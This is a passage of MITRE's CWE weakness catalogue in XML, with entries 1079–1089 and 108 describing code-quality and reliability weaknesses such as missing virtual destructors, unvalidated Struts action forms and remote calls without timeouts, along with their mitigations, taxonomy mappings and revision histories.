      <Weakness ID="1079" Name="Parent Class without Virtual Destructor Method" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably due to undefined or unexpected behaviors.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-16</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-16"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="108" Name="Struts: Unvalidated Action Form" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Every Action Form must have a corresponding validation form.</Description>
         <Extended_Description>If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1173" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Map every Action Form to a corresponding validation form.</xhtml:p>
                  <xhtml:p>An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Struts: Unvalidated Action Form</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1080" Name="Source Code File with Excessive Number of Lines of Code" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A source code file has too many lines of
					code.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p>
		 <xhtml:p>While the interpretation of "too many lines of code" may vary for each product or developer, CISQ recommends a default threshold value of 1000.</xhtml:p>
		 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-8</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-8"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1082" Name="Class Instance Self Destruction Control Element" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code contains a class instance that calls the method or function to delete or destroy itself.</Description>
         <Extended_Description><xhtml:p>For example, in C++, "delete this" will cause the object to delete itself.</xhtml:p>
	 <xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-7</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-7"/>
            <Reference External_Reference_ID="REF-976"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1083" Name="Data Access from Outside Expected Data Manager Component" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.</Description>
         <Extended_Description><xhtml:p>When the product has a data access component, the design may be intended to handle all data access operations through that component.  If a data access operation is performed outside of that component, then this may indicate a violation of the intended design.</xhtml:p>
	 <xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1061" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-10</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-10"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1084" Name="Invokable Control Element with Excessive File or Data Access Operations" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A function or method contains too many
					operations that utilize a data manager or file resource.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p>
	 <xhtml:p>While the interpretation of "too many operations" may vary for each product or developer, CISQ recommends a default maximum of 7 operations for the same data manager or file.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-14</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-14"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1085" Name="Invokable Control Element with Excessive Volume of Commented-out Code" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A function, method, procedure, etc. contains an excessive amount of code that has been
					commented out within its body.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p>
		 <xhtml:p>While the interpretation of "excessive volume" may vary for each product or developer, CISQ recommends a default threshold of 2% of commented code.</xhtml:p>
		 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-6</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1086" Name="Class with Excessive Number of Child Classes" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A class contains an unnecessarily large number of
					children.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p>
	 <xhtml:p>While the interpretation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1093" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-18</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1087" Name="Class with Virtual Method without a Virtual Destructor" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A class contains a virtual method, but the method does not have an associated virtual destructor.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably, e.g. due to undefined behavior.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-15</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-15"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1088" Name="Synchronous Access of Remote Resource without Timeout" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably, since an outage for the remote resource can cause the product to hang.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="821" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-19</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-19"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1089" Name="Large Data Table with Excessive Number of Indices" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a large data table that contains an excessively large number of
					indices.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p>
		 <xhtml:p>While the interpretation of "large data table" and "excessively large number of indices" may vary for each product or developer, CISQ recommends a default threshold of 1000000 rows for a "large" table and a default threshold of 3 indices.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-6</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
